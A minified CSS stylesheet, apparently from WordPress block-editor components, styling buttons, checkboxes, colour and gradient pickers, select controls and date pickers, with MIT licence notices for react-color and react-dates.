.components-button.is-secondary:active:not(:disabled), .components-button.is-tertiary:active:not(:disabled) { background: #ddd; color: #006ba1; color: var(--wp-admin-theme-color-darker-10); box-shadow: none; } .components-button.is-secondary:hover:not(:disabled), .components-button.is-tertiary:hover:not(:disabled) { color: #006ba1; color: var(--wp-admin-theme-color-darker-10); box-shadow: inset 0 0 0 1px #006ba1; box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color-darker-10); } .components-button.is-secondary:disabled, .components-button.is-secondary[aria-disabled=true], .components-button.is-secondary[aria-disabled=true]:hover, .components-button.is-tertiary:disabled, .components-button.is-tertiary[aria-disabled=true], .components-button.is-tertiary[aria-disabled=true]:hover { color: #828282; background: #eaeaea; transform: none; opacity: 1; box-shadow: none; outline: none; } .components-button.is-secondary { box-shadow: inset 0 0 0 1px #007cba; box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); outline: 1px solid transparent; white-space: nowrap; color: #007cba; color: var(--wp-admin-theme-color); background: transparent; } .components-button.is-tertiary { white-space: nowrap; color: #007cba; color: var(--wp-admin-theme-color); background: transparent; padding: 6px; } .components-button.is-tertiary .dashicon { display: inline-block; flex: 0 0 auto; } .components-button.is-destructive { color: #cc1818; box-shadow: inset 0 0 0 1px #cc1818; } .components-button.is-destructive:hover:not(:disabled) { color: #710d0d; box-shadow: inset 0 0 0 1px #710d0d; } .components-button.is-destructive:focus:not(:disabled) { color: #007cba; color: var(--wp-admin-theme-color); } .components-button.is-destructive:active:not(:disabled) { background: #ccc; } .components-button.is-destructive.is-primary { color: #fff; background: #cc1818; box-shadow: inset 0 0 0 1px #cc1818; } .components-button.is-destructive.is-primary:hover:not(:disabled) { color: #fff; background: #710d0d; box-shadow: inset 0 0 0 1px #710d0d; } .components-button.is-link { margin: 0; padding: 0; box-shadow: none; border: 0; border-radius: 0; background: none; outline: none; text-align: right; /* Mimics the default link style in common.css */ color: #0073aa; text-decoration: underline; transition-property: border, background, color; transition-duration: 0.05s; transition-timing-function: ease-in-out; height: auto; } @media (prefers-reduced-motion: reduce) { .components-button.is-link { transition-duration: 0s; } } .components-button.is-link:hover:not(:disabled), .components-button.is-link:active:not(:disabled) { color: #00a0d2; box-shadow: none; } .components-button.is-link:focus { color: #124964; box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); box-shadow: 0 0 0 1px #5b9dd9, 0 0 var(--wp-admin-border-width-focus) 1px rgba(30, 140, 190, 0.8); } .components-button.is-link.is-destructive { color: #cc1818; } .components-button.is-link.is-destructive:active:not(:disabled), .components-button.is-link.is-destructive:hover:not(:disabled) { color: #710d0d; background: none; } .components-button.is-link.is-destructive:focus:not(:disabled) { color: #007cba; color: var(--wp-admin-theme-color); } .components-button:not([aria-disabled=true]):active { color: inherit; } .components-button:disabled, .components-button[aria-disabled=true] { cursor: default; opacity: 0.3; } .components-button.is-busy, .components-button.is-secondary.is-busy, .components-button.is-secondary.is-busy:disabled, .components-button.is-secondary.is-busy[aria-disabled=true] { animation: components-button__busy-animation 2500ms infinite linear; opacity: 1; background-size: 100px 100%; /* stylelint-disable */ background-image: linear-gradient(45deg, #fafafa 33%, #e0e0e0 33%, #e0e0e0 70%, #fafafa 70%); /* stylelint-enable */ } .components-button.is-small { height: 24px; line-height: 22px; padding: 0 8px; font-size: 11px; } .components-button.is-small.has-icon:not(.has-text) { padding: 0 8px; width: 24px; } .components-button.has-icon { padding: 6px; min-width: 36px; justify-content: center; } .components-button.has-icon .dashicon { display: inline-block; flex: 0 0 auto; margin-right: 2px; margin-left: 10px; } .components-button.has-icon.has-text { justify-content: left; } .components-button.has-icon.has-text svg { margin-left: 8px; } .components-button.is-pressed { color: #fff; background: #1e1e1e; } .components-button.is-pressed:focus:not(:disabled) { box-shadow: inset 0 0 0 1px #fff, 0 0 0 2px #007cba; box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-button.is-pressed:hover:not(:disabled) { color: #fff; background: #1e1e1e; } .components-button svg { fill: currentColor; outline: none; } .components-button .components-visually-hidden { height: auto; } @keyframes components-button__busy-animation { 0% { background-position: 200px 0; } } .components-checkbox-control__input[type=checkbox] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; border: 1px solid #1e1e1e; margin-left: 12px; transition: none; border-radius: 2px; background: #fff; color: #1e1e1e; clear: none; cursor: pointer; display: inline-block; line-height: 0; margin: 0 0 0 4px; outline: 0; padding: 0 !important; text-align: center; vertical-align: top; width: 24px; height: 24px; -webkit-appearance: none; appearance: none; transition: 0.1s border-color ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-checkbox-control__input[type=checkbox] { transition-duration: 0s; } } @media (min-width: 600px) { .components-checkbox-control__input[type=checkbox] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-checkbox-control__input[type=checkbox]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-checkbox-control__input[type=checkbox]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-checkbox-control__input[type=checkbox]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-checkbox-control__input[type=checkbox]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-checkbox-control__input[type=checkbox]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-checkbox-control__input[type=checkbox]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-checkbox-control__input[type=checkbox]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-checkbox-control__input[type=checkbox]:checked::-ms-check { opacity: 0; } .components-checkbox-control__input[type=checkbox]:checked::before, .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { margin: -3px -5px; color: #fff; } @media (min-width: 782px) { .components-checkbox-control__input[type=checkbox]:checked::before, .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { margin: -4px -5px 0 0; } } .components-checkbox-control__input[type=checkbox][aria-checked=mixed] { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { content: ""; float: right; display: inline-block; vertical-align: middle; width: 16px; /* stylelint-disable */ font: normal 30px/1 dashicons; /* stylelint-enable */ speak: none; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } @media (min-width: 782px) { .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { float: none; font-size: 21px; } } @media (min-width: 600px) { .components-checkbox-control__input[type=checkbox] { height: 20px; width: 20px; } } @media (prefers-reduced-motion: reduce) { .components-checkbox-control__input[type=checkbox] { transition-duration: 0s; } } .components-checkbox-control__input[type=checkbox]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-checkbox-control__input[type=checkbox]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-checkbox-control__input[type=checkbox]:checked::-ms-check { opacity: 0; } .components-checkbox-control__input[type=checkbox]:checked::before { content: none; } .components-checkbox-control__input-container { position: relative; display: inline-block; margin-left: 12px; vertical-align: middle; width: 24px; height: 24px; } @media (min-width: 600px) { .components-checkbox-control__input-container { width: 20px; height: 20px; } } svg.components-checkbox-control__checked { fill: #fff; cursor: pointer; position: absolute; right: 0; top: 0; width: 24px; height: 24px; -webkit-user-select: none; -ms-user-select: none; user-select: none; pointer-events: none; } @media (min-width: 600px) { svg.components-checkbox-control__checked { right: -2px; top: -2px; } } .components-circular-option-picker { display: inline-block; width: 100%; min-width: 188px; } .components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper { display: flex; justify-content: flex-end; } .components-circular-option-picker .components-circular-option-picker__swatches { margin-left: -12px; } .components-circular-option-picker__option-wrapper { display: inline-block; height: 28px; width: 28px; margin-left: 12px; margin-bottom: 12px; vertical-align: top; transform: scale(1); transition: 100ms transform ease; } @media (prefers-reduced-motion: reduce) { .components-circular-option-picker__option-wrapper { transition-duration: 0s; } } .components-circular-option-picker__option-wrapper:hover { transform: scale(1.2); } .components-circular-option-picker__option-wrapper > div { height: 100%; width: 100%; } .components-circular-option-picker__option-wrapper::before { content: ""; position: absolute; top: 1px; right: 1px; bottom: 1px; left: 1px; border-radius: 50%; z-index: -1; /* stylelint-disable-next-line function-url-quotes */ background: url('data:image/svg+xml,%3Csvg width="28" height="28" fill="none" xmlns="http://www.w3.org/2000/svg"%3E%3Cpath d="M6 8V6H4v2h2zM8 8V6h2v2H8zM10 16H8v-2h2v2zM12 16v-2h2v2h-2zM12 18v-2h-2v2H8v2h2v-2h2zM14 18v2h-2v-2h2zM16 18h-2v-2h2v2z" fill="%23555D65"/%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2v2zm-2-4v-2h2v2h-2z" fill="%23555D65"/%3E%3Cpath d="M18 18v2h-2v-2h2z" fill="%23555D65"/%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2H8zm0 2v-2H6v2h2zm2 0v-2h2v2h-2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2h-2z" fill="%23555D65"/%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4V0zm0 4V2H2v2h2zm2 0V2h2v2H6zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2H6z" fill="%23555D65"/%3E%3C/svg%3E'); } .components-circular-option-picker__option { display: inline-block; vertical-align: top; height: 100%; width: 100%; border: none; border-radius: 50%; background: transparent; box-shadow: inset 0 0 0 14px; transition: 100ms box-shadow ease; cursor: pointer; } @media (prefers-reduced-motion: reduce) { .components-circular-option-picker__option { transition-duration: 0s; } } .components-circular-option-picker__option:hover { box-shadow: inset 0 0 0 14px !important; } .components-circular-option-picker__option.is-pressed { box-shadow: inset 0 0 0 4px; position: relative; z-index: 1; overflow: visible; } .components-circular-option-picker__option.is-pressed + svg { position: absolute; right: 2px; top: 2px; border-radius: 50%; z-index: 2; pointer-events: none; } .components-circular-option-picker__option::after { content: ""; position: absolute; top: -1px; right: -1px; bottom: -1px; left: -1px; border-radius: 50%; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); border: 1px solid transparent; } .components-circular-option-picker__option:focus::after { content: ""; border: 2px solid #757575; width: 32px; height: 32px; position: absolute; top: -2px; right: -2px; border-radius: 50%; box-shadow: inset 0 0 0 2px #fff; } .components-circular-option-picker__option.components-button:focus { background-color: transparent; box-shadow: inset 0 0 0 14px; outline: none; } .components-circular-option-picker__button-action .components-circular-option-picker__option { color: #fff; background: #fff; } .components-circular-option-picker__dropdown-link-action { margin-left: 16px; } .components-circular-option-picker__dropdown-link-action .components-button { line-height: 22px; } .components-color-edit__color-option-main-area { display: flex; align-items: center; } .components-color-edit__color-option-main-area div.components-circular-option-picker__option-wrapper { display: block; margin: 8px; } .components-color-edit__color-option.is-hover { background: #e0e0e0; } .components-color-edit__cancel-button { float: left; } .components-color-edit__color-option-color-name { width: 100%; } .components-color-edit__label-and-insert-container { display: flex; align-items: center; justify-content: space-between; } .components-color-edit__insert-button { margin-top: -8px; } .components-color-edit__hidden-control { position: relative; right: -9999px; } .components-color-edit__color-option-color-name-input .components-base-control__field { margin-bottom: 0; margin-left: 8px; } .components-color-edit__slug-input { margin-right: 8px; } .components-color-edit__reset-button { float: left; } .component-color-indicator { width: 25px; height: 16px; margin-right: 0.8rem; border: 1px solid #dadada; display: inline-block; } .component-color-indicator + .component-color-indicator { margin-right: 0.5rem; } /** * Parts of this source were derived and modified from react-color, * released under the MIT license. * * https://github.com/casesandberg/react-color/ * * Copyright (c) 2015 Case Sandberg * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ .components-color-picker { width: 100%; } .components-color-picker * { box-sizing: border-box; } .components-color-picker__saturation { width: 100%; padding-bottom: 55%; position: relative; } .components-color-picker__body { padding: 16px 16px 12px; } .components-color-picker__controls { display: flex; } .components-color-picker__saturation-pointer, .components-color-picker__hue-pointer, .components-color-picker__alpha-pointer { padding: 0; position: absolute; cursor: pointer; box-shadow: none; border: none; } /* CURRENT COLOR COMPONENT */ .components-color-picker__swatch { margin-left: 8px; width: 32px; height: 32px; border-radius: 50%; position: relative; overflow: hidden; background-image: linear-gradient(-45deg, #ddd 25%, transparent 25%), linear-gradient(45deg, #ddd 25%, transparent 25%), linear-gradient(-45deg, transparent 75%, #ddd 75%), linear-gradient(45deg, transparent 75%, #ddd 75%); background-size: 10px 10px; background-position: 100% 0, 100% 5px, 5px -5px, -5px 0; } .is-alpha-disabled .components-color-picker__swatch { width: 12px; height: 12px; margin-top: 0; } .components-color-picker__active { position: absolute; top: 0; right: 0; left: 0; bottom: 0; border-radius: 50%; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1); z-index: 2; } /* SATURATION COMPONENT */ .components-color-picker__saturation-color, .components-color-picker__saturation-white, .components-color-picker__saturation-black { position: absolute; top: 0; right: 0; left: 0; bottom: 0; } .components-color-picker__saturation-color { overflow: visible; } .components-color-picker__saturation-white { background: linear-gradient(to right, #fff, rgba(255, 255, 255, 0)); } .components-color-picker__saturation-black { background: linear-gradient(to top, #000, rgba(0, 0, 0, 0)); } .components-button.components-color-picker__saturation-pointer { width: 14px; height: 14px; padding: 0; border-radius: 50%; background-color: transparent; transform: translate(50%, -50%); box-shadow: 0 0 0 1px #fff, inset 0 0 0 1px #000, 0 0 0 2px #000; } .components-button.components-color-picker__saturation-pointer:focus:not(:disabled) { box-shadow: 0 0 0 2px #fff, inset 0 0 0 1px #000, 0 0 0 3px #000; } /* HUE & ALPHA BARS */ .components-color-picker__toggles { flex: 1; } .components-color-picker__alpha { background-image: linear-gradient(-45deg, #ddd 25%, transparent 25%), linear-gradient(45deg, #ddd 25%, transparent 25%), linear-gradient(-45deg, transparent 75%, #ddd 75%), linear-gradient(45deg, transparent 75%, #ddd 75%); background-size: 10px 10px; background-position: 100% 0, 100% 5px, 5px -5px, -5px 0; } .components-color-picker__hue-gradient, .components-color-picker__alpha-gradient { position: absolute; top: 0; right: 0; left: 0; bottom: 0; } .components-color-picker__hue, .components-color-picker__alpha { height: 12px; position: relative; } .is-alpha-enabled .components-color-picker__hue { margin-bottom: 8px; } .components-color-picker__hue-bar, .components-color-picker__alpha-bar { position: relative; margin: 0 3px; height: 100%; padding: 0 2px; } .components-color-picker__hue-gradient { background: linear-gradient(to right, #f00 0%, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%); } .components-color-picker__hue-pointer, .components-color-picker__alpha-pointer { left: 0; width: 14px; height: 14px; border-radius: 50%; box-shadow: 0 1px 4px 0 rgba(0, 0, 0, 0.37); background: #fff; transform: translate(7px, -1px); } .components-color-picker__hue-pointer, .components-color-picker__saturation-pointer { transition: box-shadow 0.1s linear; } @media (prefers-reduced-motion: reduce) { .components-color-picker__hue-pointer, .components-color-picker__saturation-pointer { transition-duration: 0s; } } .components-color-picker__saturation-pointer:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba, 0 0 5px 0 #007cba, inset 0 0 1px 1px rgba(0, 0, 0, 0.3), 0 0 1px 2px rgba(0, 0, 0, 0.4); box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color), 0 0 5px 0 var(--wp-admin-theme-color), inset 0 0 1px 1px rgba(0, 0, 0, 0.3), 0 0 1px 2px rgba(0, 0, 0, 0.4); } .components-color-picker__hue-pointer:focus, .components-color-picker__alpha-pointer:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px #007cba, 0 0 3px 0 #007cba; box-shadow: 0 0 0 2px var(--wp-admin-theme-color), 0 0 3px 0 var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } /* INPUTS COMPONENT */ .components-color-picker__inputs-wrapper { margin: 0 -4px; padding-top: 16px; display: flex; align-items: flex-end; min-width: 255px; } .components-color-picker__inputs-wrapper fieldset { flex: 1; border: none; margin: 0; padding: 0; } .components-color-picker__inputs-wrapper .components-color-picker__inputs-fields .components-text-control__input[type=number] { padding: 6px 3px; margin: 0; } .components-color-picker__inputs-field { width: 100%; } .components-color-picker__inputs-fields { display: flex; direction: ltr; flex-grow: 1; margin-left: 4px; } .components-color-picker__inputs-fields .components-base-control + .components-base-control { margin-top: 0; } .components-color-picker__inputs-fields .components-base-control__field { margin: 0 2px; } .components-color-picker__inputs-toggle { height: 30px; padding: 0 5px; } .components-combobox-control { width: 100%; } input.components-combobox-control__input[type=text] { width: 100%; border: none; box-shadow: none; font-size: 16px; padding: 2px; margin: 0; line-height: inherit; min-height: auto; } @media (min-width: 600px) { input.components-combobox-control__input[type=text] { font-size: 13px; } } input.components-combobox-control__input[type=text]:focus { outline: none; box-shadow: none; } .components-combobox-control__suggestions-container { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: flex; flex-wrap: wrap; align-items: flex-start; width: 100%; margin: 0 0 8px 0; padding: 4px; } @media (prefers-reduced-motion: reduce) { .components-combobox-control__suggestions-container { transition-duration: 0s; } } @media (min-width: 600px) { .components-combobox-control__suggestions-container { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-combobox-control__suggestions-container:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-combobox-control__suggestions-container::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-combobox-control__suggestions-container::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-combobox-control__suggestions-container:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-combobox-control__suggestions-container::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-combobox-control__suggestions-container::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-combobox-control__suggestions-container:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-combobox-control__suggestions-container:focus-within { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-combobox-control__reset.components-button { display: flex; height: 24px; min-width: 24px; padding: 0; } .components-custom-gradient-picker__gradient-bar:not(.has-gradient) { opacity: 0.4; } .components-custom-gradient-picker__gradient-bar { margin-top: 12px; width: 100%; height: 36px; border-radius: 36px; margin-bottom: 12px; padding-right: 6px; padding-left: 30px; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container { position: relative; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point { border-radius: 50%; background: #fff; padding: 2px; top: 6px; min-width: 24px; width: 24px; height: 24px; position: relative; color: #1e1e1e; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point svg { height: 100%; width: 100%; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button { border: 2px solid transparent; box-shadow: inset 0 0 0 2px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) #fff; border-radius: 50%; height: 24px; width: 24px; padding: 0; position: absolute; top: 6px; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus, .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #1e1e1e; } .components-custom-gradient-picker__color-picker-popover .components-custom-gradient-picker__remove-control-point { margin-right: auto; margin-left: auto; display: block; margin-bottom: 8px; } .components-custom-gradient-picker__inserter { width: 100%; } .components-custom-gradient-picker__liner-gradient-indicator { display: inline-block; flex: 0 auto; width: 20px; height: 20px; } .components-custom-gradient-picker .components-custom-gradient-picker__ui-line { margin-bottom: 16px; } .components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-angle-picker, .components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-custom-gradient-picker__type-picker { margin-bottom: 0; } .components-custom-gradient-picker .components-custom-gradient-picker__toolbar { border: none; } .components-custom-gradient-picker .components-custom-gradient-picker__toolbar > div + div { margin-right: 1px; } .components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed > svg { background: #fff; border: 1px solid #949494; border-radius: 2px; } .components-custom-select-control { position: relative; } .components-custom-select-control__label { display: block; margin-bottom: 8px; } .components-custom-select-control__button { border: 1px solid #757575; border-radius: 2px; min-height: 30px; min-width: 130px; position: relative; text-align: right; } .components-custom-select-control__button.components-custom-select-control__button { padding-left: 24px; } .components-custom-select-control__button:focus:not(:disabled) { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .components-custom-select-control__button .components-custom-select-control__button-icon { height: 100%; padding: 0; position: absolute; left: 0; top: 0; } .components-custom-select-control__menu { border: 1px solid #1e1e1e; background-color: #fff; border-radius: 2px; outline: none; transition: none; max-height: 400px; min-width: 100%; overflow: auto; padding: 0; position: absolute; z-index: 1000000; } .components-custom-select-control__menu[aria-hidden=true] { display: none; } .components-custom-select-control__item { align-items: center; display: flex; list-style-type: none; padding: 8px; cursor: default; line-height: 28px; } .components-custom-select-control__item.is-highlighted { background: #ddd; } .components-custom-select-control__item .components-custom-select-control__item-icon { margin-left: 0; margin-right: auto; } .components-custom-select-control__item:last-child { margin-bottom: 0; } /** * Parts of this source were derived and modified from react-dates, * released under the MIT license. * * https://github.com/airbnb/react-dates * * The MIT License (MIT) * * Copyright (c) 2016 Airbnb * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ .PresetDateRangePicker_panel { padding: 0 22px 11px; } .PresetDateRangePicker_button { position: relative; height: 100%; text-align: center; background: 0 0; border: 2px solid #00a699; color: #00a699; padding: 4px 12px; margin-right: 8px; font: inherit; font-weight: 700; line-height: normal; overflow: visible; box-sizing: border-box; cursor: pointer; } .PresetDateRangePicker_button:active { outline: 0; } .PresetDateRangePicker_button__selected { color: #fff; background: #00a699; } .SingleDatePickerInput { display: inline-block; background-color: #fff; } .SingleDatePickerInput__withBorder { border-radius: 2px; border: 1px solid #dbdbdb; } .SingleDatePickerInput__rtl { direction: rtl; } .SingleDatePickerInput__disabled { background-color: #f2f2f2; } .SingleDatePickerInput__block { display: block; } .SingleDatePickerInput__showClearDate { padding-right: 30px; } .SingleDatePickerInput_clearDate { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; padding: 10px; margin: 0 10px 0 5px; position: absolute; right: 0; top: 50%; transform: translateY(-50%); } .SingleDatePickerInput_clearDate__default:focus, .SingleDatePickerInput_clearDate__default:hover { background: #dbdbdb; border-radius: 50%; } .SingleDatePickerInput_clearDate__small { padding: 6px; } .SingleDatePickerInput_clearDate__hide { visibility: hidden; } .SingleDatePickerInput_clearDate_svg { fill: #82888a; height: 12px; width: 15px; vertical-align: middle; } .SingleDatePickerInput_clearDate_svg__small { height: 9px; } .SingleDatePickerInput_calendarIcon { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; display: inline-block; vertical-align: middle; padding: 10px; margin: 0 5px 0 10px; } .SingleDatePickerInput_calendarIcon_svg { fill: #82888a; height: 15px; width: 14px; vertical-align: middle; } .SingleDatePicker { position: relative; display: inline-block; } .SingleDatePicker__block { display: block; } .SingleDatePicker_picker { z-index: 1; background-color: #fff; position: absolute; } .SingleDatePicker_picker__rtl { direction: rtl; } .SingleDatePicker_picker__directionLeft { left: 0; } .SingleDatePicker_picker__directionRight { right: 0; } .SingleDatePicker_picker__portal { background-color: rgba(0, 0, 0, 0.3); position: fixed; top: 0; left: 0; height: 100%; width: 100%; } .SingleDatePicker_picker__fullScreenPortal { background-color: #fff; } .SingleDatePicker_closeButton { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; position: absolute; top: 0; right: 0; padding: 15px; z-index: 2; } .SingleDatePicker_closeButton:focus, .SingleDatePicker_closeButton:hover { color: #b0b3b4; text-decoration: none; } .SingleDatePicker_closeButton_svg { height: 15px; width: 15px; fill: #cacccd; } .DayPickerKeyboardShortcuts_buttonReset { background: 0 0; border: 0; border-radius: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; padding: 0; cursor: pointer; font-size: 14px; } .DayPickerKeyboardShortcuts_buttonReset:active { outline: 0; } .DayPickerKeyboardShortcuts_show { width: 22px; position: absolute; z-index: 2; } .DayPickerKeyboardShortcuts_show__bottomRight { border-top: 26px solid transparent; border-right: 33px solid #00a699; bottom: 0; right: 0; } .DayPickerKeyboardShortcuts_show__bottomRight:hover { border-right: 33px solid #008489; } .DayPickerKeyboardShortcuts_show__topRight { border-bottom: 26px solid transparent; border-right: 33px solid #00a699; top: 0; right: 0; } .DayPickerKeyboardShortcuts_show__topRight:hover { border-right: 33px solid #008489; } .DayPickerKeyboardShortcuts_show__topLeft { border-bottom: 26px solid transparent; border-left: 33px solid #00a699; top: 0; left: 0; } 